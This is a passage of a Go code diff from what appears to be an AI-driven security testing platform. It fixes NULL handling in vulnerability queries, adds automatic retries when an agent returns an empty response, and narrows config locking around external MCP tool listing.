COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
|||||||
// ListVulnerabilities 列出漏洞
|
// ListVulnerabilities 列出漏洞
|
||||||
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||||
vulnerability_type, target, proof, impact, recommendation,
|
vulnerability_type, target, proof, impact, recommendation,
|
||||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||||
}
|
}
|
||||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
|
|||||||
var resultMA *multiagent.RunResult
|
var resultMA *multiagent.RunResult
|
||||||
var errMA error
|
var errMA error
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
for {
|
for {
|
||||||
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
||||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||||
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
||||||
)
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
errMA = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
if errMA == nil {
|
if errMA == nil {
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||||
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
|
|||||||
var resultMA *multiagent.RunResult
|
var resultMA *multiagent.RunResult
|
||||||
var errMA error
|
var errMA error
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
for {
|
for {
|
||||||
resultMA, errMA = multiagent.RunDeepAgent(
|
resultMA, errMA = multiagent.RunDeepAgent(
|
||||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||||
conversationID, curMsg, curHist, roleTools, progressCallback,
|
conversationID, curMsg, curHist, roleTools, progressCallback,
|
||||||
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
||||||
)
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
errMA = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
if errMA == nil {
|
if errMA == nil {
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||||
|
|||||||
+105
-58
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取外部MCP工具
|
// 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
|
||||||
if h.externalMCPMgr != nil {
|
if h.externalMCPMgr != nil {
|
||||||
ctx := context.Background()
|
ctx := context.Background()
|
||||||
externalTools := h.getExternalMCPTools(ctx)
|
externalTools := h.getExternalMCPTools(ctx)
|
||||||
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
|
|||||||
|
|
||||||
// GetTools 获取工具列表(支持分页和搜索)
|
// GetTools 获取工具列表(支持分页和搜索)
|
||||||
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||||
h.mu.RLock()
|
|
||||||
defer h.mu.RUnlock()
|
|
||||||
|
|
||||||
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||||
|
|
||||||
// 解析分页参数
|
// 解析分页参数
|
||||||
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
includeExternal := true
|
||||||
|
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
|
||||||
|
includeExternal = false
|
||||||
|
}
|
||||||
|
refreshExternal := false
|
||||||
|
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
|
||||||
|
refreshExternal = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
|
||||||
|
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
|
||||||
|
|
||||||
|
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
|
||||||
|
h.mu.RLock()
|
||||||
|
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||||
|
roles := h.config.Roles
|
||||||
|
toolDescriptionMode := h.config.Security.ToolDescriptionMode
|
||||||
|
mcpServer := h.mcpServer
|
||||||
|
externalMCPMgr := h.externalMCPMgr
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
pickDesc := func(shortDesc, fullDesc string) string {
|
||||||
|
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
|
||||||
|
}
|
||||||
|
|
||||||
// 解析角色参数,用于过滤工具并标注启用状态
|
// 解析角色参数,用于过滤工具并标注启用状态
|
||||||
roleName := c.Query("role")
|
roleName := c.Query("role")
|
||||||
var roleToolsSet map[string]bool // 角色配置的工具集合
|
var roleToolsSet map[string]bool // 角色配置的工具集合
|
||||||
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
||||||
if roleName != "" && roleName != "默认" && h.config.Roles != nil {
|
if roleName != "" && roleName != "默认" && roles != nil {
|
||||||
if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
|
if role, exists := roles[roleName]; exists && role.Enabled {
|
||||||
if len(role.Tools) > 0 {
|
if len(role.Tools) > 0 {
|
||||||
// 角色配置了工具列表,只使用这些工具
|
// 角色配置了工具列表,只使用这些工具
|
||||||
roleToolsSet = make(map[string]bool)
|
roleToolsSet = make(map[string]bool)
|
||||||
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
|
|
||||||
// 获取所有内部工具并应用搜索过滤
|
// 获取所有内部工具并应用搜索过滤
|
||||||
configToolMap := make(map[string]bool)
|
configToolMap := make(map[string]bool)
|
||||||
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
|
allTools := make([]ToolConfigInfo, 0, len(securityTools))
|
||||||
for _, tool := range h.config.Security.Tools {
|
for _, tool := range securityTools {
|
||||||
configToolMap[tool.Name] = true
|
configToolMap[tool.Name] = true
|
||||||
toolInfo := ToolConfigInfo{
|
toolInfo := ToolConfigInfo{
|
||||||
Name: tool.Name,
|
Name: tool.Name,
|
||||||
Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
|
Description: pickDesc(tool.ShortDescription, tool.Description),
|
||||||
Enabled: tool.Enabled,
|
Enabled: tool.Enabled,
|
||||||
IsExternal: false,
|
IsExternal: false,
|
||||||
}
|
}
|
||||||
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
||||||
if h.mcpServer != nil {
|
if mcpServer != nil {
|
||||||
mcpTools := h.mcpServer.GetAllTools()
|
mcpTools := mcpServer.GetAllTools()
|
||||||
for _, mcpTool := range mcpTools {
|
for _, mcpTool := range mcpTools {
|
||||||
// 跳过已经在配置文件中的工具(避免重复)
|
// 跳过已经在配置文件中的工具(避免重复)
|
||||||
if configToolMap[mcpTool.Name] {
|
if configToolMap[mcpTool.Name] {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
|
||||||
|
|
||||||
toolInfo := ToolConfigInfo{
|
toolInfo := ToolConfigInfo{
|
||||||
Name: mcpTool.Name,
|
Name: mcpTool.Name,
|
||||||
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取外部MCP工具
|
// 获取外部MCP工具(可走缓存,不持有 config 锁)
|
||||||
if h.externalMCPMgr != nil {
|
if includeExternal && externalMCPMgr != nil {
|
||||||
// 创建context用于获取外部工具
|
if refreshExternal {
|
||||||
|
externalMCPMgr.InvalidateAllToolCaches()
|
||||||
|
}
|
||||||
ctx := context.Background()
|
ctx := context.Background()
|
||||||
externalTools := h.getExternalMCPTools(ctx)
|
externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
|
||||||
|
|
||||||
// 应用搜索过滤和角色配置
|
// 应用搜索过滤和角色配置
|
||||||
for _, toolInfo := range externalTools {
|
for _, toolInfo := range externalTools {
|
||||||
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
||||||
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
||||||
|
|
||||||
|
if externalMCPFilter != "" {
|
||||||
|
filtered := make([]ToolConfigInfo, 0)
|
||||||
|
for _, tool := range allTools {
|
||||||
|
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
|
||||||
|
filtered = append(filtered, tool)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
allTools = filtered
|
||||||
|
}
|
||||||
|
|
||||||
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
||||||
sort.SliceStable(allTools, func(i, j int) bool {
|
sort.SliceStable(allTools, func(i, j int) bool {
|
||||||
key := func(t ToolConfigInfo) string {
|
key := func(t ToolConfigInfo) string {
|
||||||
@@ -1906,50 +1940,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
||||||
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
|
|
||||||
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
||||||
var result []ToolConfigInfo
|
|
||||||
|
|
||||||
if h.externalMCPMgr == nil {
|
if h.externalMCPMgr == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
|
||||||
|
func (h *ConfigHandler) getExternalMCPToolsWithManager(
|
||||||
|
ctx context.Context,
|
||||||
|
mgr *mcp.ExternalMCPManager,
|
||||||
|
pickDesc func(shortDesc, fullDesc string) string,
|
||||||
|
) []ToolConfigInfo {
|
||||||
|
var result []ToolConfigInfo
|
||||||
|
if mgr == nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
|
|
||||||
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
|
externalTools, err := mgr.GetAllTools(timeoutCtx)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
|
|
||||||
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果获取到了工具(即使有错误),继续处理
|
|
||||||
if len(externalTools) == 0 {
|
if len(externalTools) == 0 {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
externalMCPConfigs := h.externalMCPMgr.GetConfigs()
|
externalMCPConfigs := mgr.GetConfigs()
|
||||||
|
|
||||||
for _, externalTool := range externalTools {
|
for _, externalTool := range externalTools {
|
||||||
// 解析工具名称:mcpName::toolName
|
|
||||||
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
||||||
if mcpName == "" || actualToolName == "" {
|
if mcpName == "" || actualToolName == "" {
|
||||||
continue // 跳过格式不正确的工具
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算启用状态
|
enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
|
||||||
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
|
|
||||||
|
|
||||||
// 处理描述信息
|
|
||||||
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
|
|
||||||
|
|
||||||
result = append(result, ToolConfigInfo{
|
result = append(result, ToolConfigInfo{
|
||||||
Name: actualToolName,
|
Name: actualToolName,
|
||||||
Description: description,
|
Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
|
||||||
Enabled: enabled,
|
Enabled: enabled,
|
||||||
IsExternal: true,
|
IsExternal: true,
|
||||||
ExternalMCP: mcpName,
|
ExternalMCP: mcpName,
|
||||||
@@ -1970,40 +2006,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
|
|||||||
|
|
||||||
// calculateExternalToolEnabled 计算外部工具的启用状态
|
// calculateExternalToolEnabled 计算外部工具的启用状态
|
||||||
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
||||||
|
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
|
||||||
|
mcpName, toolName string,
|
||||||
|
configs map[string]config.ExternalMCPServerConfig,
|
||||||
|
mgr *mcp.ExternalMCPManager,
|
||||||
|
) bool {
|
||||||
cfg, exists := configs[mcpName]
|
cfg, exists := configs[mcpName]
|
||||||
if !exists {
|
if !exists {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// 首先检查外部MCP是否启用
|
|
||||||
if !cfg.ExternalMCPEnable {
|
if !cfg.ExternalMCPEnable {
|
||||||
return false // MCP未启用,所有工具都禁用
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// MCP已启用,检查单个工具的启用状态
|
if cfg.ToolEnabled != nil {
|
||||||
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容)
|
if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
|
||||||
if cfg.ToolEnabled == nil {
|
|
||||||
// 未设置工具状态,默认为启用
|
|
||||||
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
|
|
||||||
// 使用配置的工具状态
|
|
||||||
if !toolEnabled {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// 工具未在配置中,默认为启用
|
|
||||||
|
|
||||||
// 最后检查外部MCP是否已连接
|
if mgr == nil {
|
||||||
client, exists := h.externalMCPMgr.GetClient(mcpName)
|
return false
|
||||||
|
}
|
||||||
|
client, exists := mgr.GetClient(mcpName)
|
||||||
if !exists || !client.IsConnected() {
|
if !exists || !client.IsConnected() {
|
||||||
return false // 未连接时视为禁用
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
|
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
|
||||||
|
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
|
||||||
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||||
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
|
return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
|
||||||
|
}
|
||||||
|
|
||||||
|
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
|
||||||
|
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
|
||||||
description := shortDesc
|
description := shortDesc
|
||||||
if useFull {
|
if useFull {
|
||||||
description = fullDesc
|
description = fullDesc
|
||||||
@@ -2018,23 +2062,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
|||||||
|
|
||||||
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
||||||
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||||
h.mu.RLock()
|
|
||||||
defer h.mu.RUnlock()
|
|
||||||
|
|
||||||
toolName := c.Param("name")
|
toolName := c.Param("name")
|
||||||
if toolName == "" {
|
if toolName == "" {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查是否为外部工具(格式:mcpName::toolName)
|
|
||||||
externalMCP := c.Query("external_mcp")
|
externalMCP := c.Query("external_mcp")
|
||||||
if externalMCP != "" {
|
if externalMCP != "" {
|
||||||
// 外部 MCP 工具
|
h.mu.RLock()
|
||||||
if h.externalMCPMgr != nil {
|
externalMCPMgr := h.externalMCPMgr
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
if externalMCPMgr != nil {
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
|
externalTools, _ := externalMCPMgr.GetAllTools(ctx)
|
||||||
fullName := externalMCP + "::" + toolName
|
fullName := externalMCP + "::" + toolName
|
||||||
for _, t := range externalTools {
|
for _, t := range externalTools {
|
||||||
if t.Name == fullName {
|
if t.Name == fullName {
|
||||||
@@ -2047,8 +2090,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 内部工具:从 YAML 配置的 Parameters 构建
|
h.mu.RLock()
|
||||||
for _, tool := range h.config.Security.Tools {
|
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||||
|
mcpServer := h.mcpServer
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
for _, tool := range securityTools {
|
||||||
if tool.Name == toolName {
|
if tool.Name == toolName {
|
||||||
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
||||||
return
|
return
|
||||||
@@ -2056,8 +2103,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// MCP 注册工具(如知识检索)
|
// MCP 注册工具(如知识检索)
|
||||||
if h.mcpServer != nil {
|
if mcpServer != nil {
|
||||||
for _, mt := range h.mcpServer.GetAllTools() {
|
for _, mt := range mcpServer.GetAllTools() {
|
||||||
if mt.Name == toolName {
|
if mt.Name == toolName {
|
||||||
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -9,6 +9,8 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/agent"
|
"cyberstrike-ai/internal/agent"
|
||||||
"cyberstrike-ai/internal/multiagent"
|
"cyberstrike-ai/internal/multiagent"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
||||||
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
|
|||||||
}
|
}
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
|
||||||
|
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
|
||||||
|
func (h *AgentHandler) handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx context.Context,
|
||||||
|
conversationID string,
|
||||||
|
result *multiagent.RunResult,
|
||||||
|
runErr error,
|
||||||
|
emptyResponseAttempts *int,
|
||||||
|
curHistory *[]agent.ChatMessage,
|
||||||
|
curFinalMessage *string,
|
||||||
|
segmentUserMessage string,
|
||||||
|
progressCallback func(eventType, message string, data interface{}),
|
||||||
|
sendProgress func(msg string, extra map[string]interface{}),
|
||||||
|
) (handled bool, exhausted bool) {
|
||||||
|
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
|
||||||
|
return false, false
|
||||||
|
}
|
||||||
|
maxAttempts := h.einoRunRetryMaxAttempts()
|
||||||
|
*emptyResponseAttempts++
|
||||||
|
if *emptyResponseAttempts > maxAttempts {
|
||||||
|
if h.logger != nil {
|
||||||
|
h.logger.Warn("eino empty response auto resume exhausted",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.Int("maxAttempts", maxAttempts))
|
||||||
|
}
|
||||||
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
|
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||||
|
}
|
||||||
|
return false, true
|
||||||
|
}
|
||||||
|
attemptNo := *emptyResponseAttempts
|
||||||
|
if h.logger != nil {
|
||||||
|
h.logger.Info("eino empty response, auto resume from trace",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.Int("attempt", attemptNo),
|
||||||
|
zap.Int("maxAttempts", maxAttempts))
|
||||||
|
}
|
||||||
|
if progressCallback != nil {
|
||||||
|
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "eino",
|
||||||
|
"attempt": attemptNo,
|
||||||
|
"maxAttempts": maxAttempts,
|
||||||
|
"resumeKind": "trace_segment",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
|
||||||
|
if sendProgress != nil {
|
||||||
|
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "empty_response_continue",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return true, false
|
||||||
|
}
|
||||||
|
|||||||
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
|
|
||||||
var cumulativeMCPExecutionIDs []string
|
var cumulativeMCPExecutionIDs []string
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||||
var mainIterationOffset int
|
var mainIterationOffset int
|
||||||
|
|
||||||
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||||
|
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
mainIterationOffset += segmentMainIterationMax
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
